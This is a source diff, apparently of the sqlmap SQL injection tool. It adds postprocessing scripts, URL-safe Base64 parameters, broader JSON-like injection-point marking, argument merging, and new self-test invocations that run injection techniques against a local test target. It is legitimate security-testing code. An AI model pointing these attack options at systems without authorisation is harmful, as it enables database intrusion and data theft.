warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||||
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
||||||
if not conf.crawlDepth and not conf.forms:
|
if not conf.crawlDepth and not conf.forms:
|
||||||
warnMsg += "Will search for forms"
|
warnMsg += "Will search for forms"
|
||||||
@@ -2682,6 +2765,7 @@ def init():
|
|||||||
_listTamperingFunctions()
|
_listTamperingFunctions()
|
||||||
_setTamperingFunctions()
|
_setTamperingFunctions()
|
||||||
_setPreprocessFunctions()
|
_setPreprocessFunctions()
|
||||||
|
_setPostprocessFunctions()
|
||||||
_setTrafficOutputFP()
|
_setTrafficOutputFP()
|
||||||
_setupHTTPCollector()
|
_setupHTTPCollector()
|
||||||
_setHttpChunked()
|
_setHttpChunked()
|
||||||
|
|||||||
@@ -203,6 +203,7 @@ optDict = {
|
|||||||
"answers": "string",
|
"answers": "string",
|
||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
"base64Parameter": "string",
|
"base64Parameter": "string",
|
||||||
|
"base64Safe": "boolean",
|
||||||
"binaryFields": "string",
|
"binaryFields": "string",
|
||||||
"charset": "string",
|
"charset": "string",
|
||||||
"checkInternet": "boolean",
|
"checkInternet": "boolean",
|
||||||
@@ -221,6 +222,7 @@ optDict = {
|
|||||||
"hexConvert": "boolean",
|
"hexConvert": "boolean",
|
||||||
"outputDir": "string",
|
"outputDir": "string",
|
||||||
"parseErrors": "boolean",
|
"parseErrors": "boolean",
|
||||||
|
"postprocess": "string",
|
||||||
"preprocess": "string",
|
"preprocess": "string",
|
||||||
"repair": "boolean",
|
"repair": "boolean",
|
||||||
"saveConfig": "string",
|
"saveConfig": "string",
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
@@ -76,6 +77,15 @@ def dirtyPatches():
|
|||||||
# to prevent too much "guessing" in case of binary data retrieval
|
# to prevent too much "guessing" in case of binary data retrieval
|
||||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||||
|
|
||||||
|
# https://github.com/sqlmapproject/sqlmap/issues/4314
|
||||||
|
try:
|
||||||
|
os.urandom(1)
|
||||||
|
except NotImplemented:
|
||||||
|
if six.PY3:
|
||||||
|
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
|
||||||
|
else:
|
||||||
|
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
|
||||||
|
|
||||||
def resolveCrossReferences():
|
def resolveCrossReferences():
|
||||||
"""
|
"""
|
||||||
Place for cross-reference resolution
|
Place for cross-reference resolution
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4.7.0"
|
VERSION = "1.4.10.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -66,6 +66,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
|||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
||||||
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||||
|
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
|
||||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||||
@@ -817,7 +818,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
|||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting multipart POST data
|
# Regular expression used for detecting multipart POST data
|
||||||
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
|
||||||
|
|||||||
+14
-15
@@ -111,7 +111,7 @@ def _setRequestParams():
|
|||||||
def process(match, repl):
|
def process(match, repl):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
|
|
||||||
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
|
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
|
||||||
retVal = repl
|
retVal = repl
|
||||||
while True:
|
while True:
|
||||||
_ = re.search(r"\\g<([^>]+)>", retVal)
|
_ = re.search(r"\\g<([^>]+)>", retVal)
|
||||||
@@ -120,7 +120,7 @@ def _setRequestParams():
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
if kb.customInjectionMark in retVal:
|
if kb.customInjectionMark in retVal:
|
||||||
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -145,6 +145,7 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
@@ -159,8 +160,6 @@ def _setRequestParams():
|
|||||||
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
|
||||||
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
|
||||||
|
|
||||||
kb.postHint = POST_HINT.JSON
|
|
||||||
|
|
||||||
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON-like data found in %s body. " % conf.method
|
message = "JSON-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -169,13 +168,16 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.JSON_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
if '"' in conf.data:
|
||||||
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
|
||||||
kb.postHint = POST_HINT.JSON_LIKE
|
else:
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
|
||||||
|
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Array-like data found in %s body. " % conf.method
|
message = "Array-like data found in %s body. " % conf.method
|
||||||
@@ -185,12 +187,11 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.ARRAY_LIKE
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s body. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -199,13 +200,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s body. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -214,13 +214,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.MULTIPART
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.MULTIPART
|
|
||||||
|
|
||||||
if not kb.postHint:
|
if not kb.postHint:
|
||||||
if kb.customInjectionMark in conf.data: # later processed
|
if kb.customInjectionMark in conf.data: # later processed
|
||||||
pass
|
pass
|
||||||
@@ -401,7 +400,7 @@ def _setRequestParams():
|
|||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|||||||
+7
-1
@@ -44,10 +44,13 @@ def vulnTest():
|
|||||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
|
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
@@ -125,7 +128,10 @@ def vulnTest():
|
|||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||||
|
options = options.replace(tag, value)
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
|
||||||
if "<tmp>" in cmd:
|
if "<tmp>" in cmd:
|
||||||
handle, tmp = tempfile.mkstemp()
|
handle, tmp = tempfile.mkstemp()
|
||||||
|
|||||||
+2
-1
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
|
|||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapThreadException
|
from lib.core.exception import SqlmapThreadException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
|||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
|
||||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
|
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||||
|
|
||||||
|
|||||||
+23
-9
@@ -622,6 +622,9 @@ def cmdLineParser(argv=None):
|
|||||||
general.add_argument("--base64", dest="base64Parameter",
|
general.add_argument("--base64", dest="base64Parameter",
|
||||||
help="Parameter(s) containing Base64 encoded data")
|
help="Parameter(s) containing Base64 encoded data")
|
||||||
|
|
||||||
|
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
||||||
|
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
|
||||||
|
|
||||||
general.add_argument("--batch", dest="batch", action="store_true",
|
general.add_argument("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behavior")
|
help="Never ask for user input, use the default behavior")
|
||||||
|
|
||||||
@@ -680,7 +683,10 @@ def cmdLineParser(argv=None):
|
|||||||
help="Parse and display DBMS error messages from responses")
|
help="Parse and display DBMS error messages from responses")
|
||||||
|
|
||||||
general.add_argument("--preprocess", dest="preprocess",
|
general.add_argument("--preprocess", dest="preprocess",
|
||||||
help="Use given script(s) for preprocessing of response data")
|
help="Use given script(s) for preprocessing (request)")
|
||||||
|
|
||||||
|
general.add_argument("--postprocess", dest="postprocess",
|
||||||
|
help="Use given script(s) for postprocessing (response)")
|
||||||
|
|
||||||
general.add_argument("--repair", dest="repair", action="store_true",
|
general.add_argument("--repair", dest="repair", action="store_true",
|
||||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||||
@@ -860,7 +866,7 @@ def cmdLineParser(argv=None):
|
|||||||
_ = []
|
_ = []
|
||||||
advancedHelp = True
|
advancedHelp = True
|
||||||
extraHeaders = []
|
extraHeaders = []
|
||||||
tamperIndex = None
|
auxIndexes = {}
|
||||||
|
|
||||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||||
for arg in argv:
|
for arg in argv:
|
||||||
@@ -949,17 +955,25 @@ def cmdLineParser(argv=None):
|
|||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i].startswith("--tamper"):
|
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
||||||
if tamperIndex is None:
|
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
||||||
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
index = auxIndexes.get(key, None)
|
||||||
|
if index is None:
|
||||||
|
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||||
|
auxIndexes[key] = index
|
||||||
else:
|
else:
|
||||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
delimiter = ','
|
||||||
|
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] == "-H":
|
elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")):
|
||||||
if i + 1 < len(argv):
|
if '=' in argv[i]:
|
||||||
|
extraHeaders.append(argv[i].split('=', 1)[1])
|
||||||
|
elif i + 1 < len(argv):
|
||||||
extraHeaders.append(argv[i + 1])
|
extraHeaders.append(argv[i + 1])
|
||||||
elif argv[i] == "--deps":
|
elif argv[i] == "--deps":
|
||||||
argv[i] = "--dependencies"
|
argv[i] = "--dependencies"
|
||||||
|
elif argv[i] == "--disable-colouring":
|
||||||
|
argv[i] = "--disable-coloring"
|
||||||
elif argv[i] == "-r":
|
elif argv[i] == "-r":
|
||||||
for j in xrange(i + 2, len(argv)):
|
for j in xrange(i + 2, len(argv)):
|
||||||
value = argv[j]
|
value = argv[j]
|
||||||
@@ -992,7 +1006,7 @@ def cmdLineParser(argv=None):
|
|||||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||||
try:
|
try:
|
||||||
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
||||||
conf.verbose = verbosity.count('v') + 1
|
conf.verbose = verbosity.count('v')
|
||||||
del argv[argv.index(verbosity)]
|
del argv[argv.index(verbosity)]
|
||||||
except (IndexError, ValueError):
|
except (IndexError, ValueError):
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
|||||||
|
|
||||||
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
||||||
kb.pageEncoding = "utf-8"
|
kb.pageEncoding = "utf-8"
|
||||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||||
page = page[3:]
|
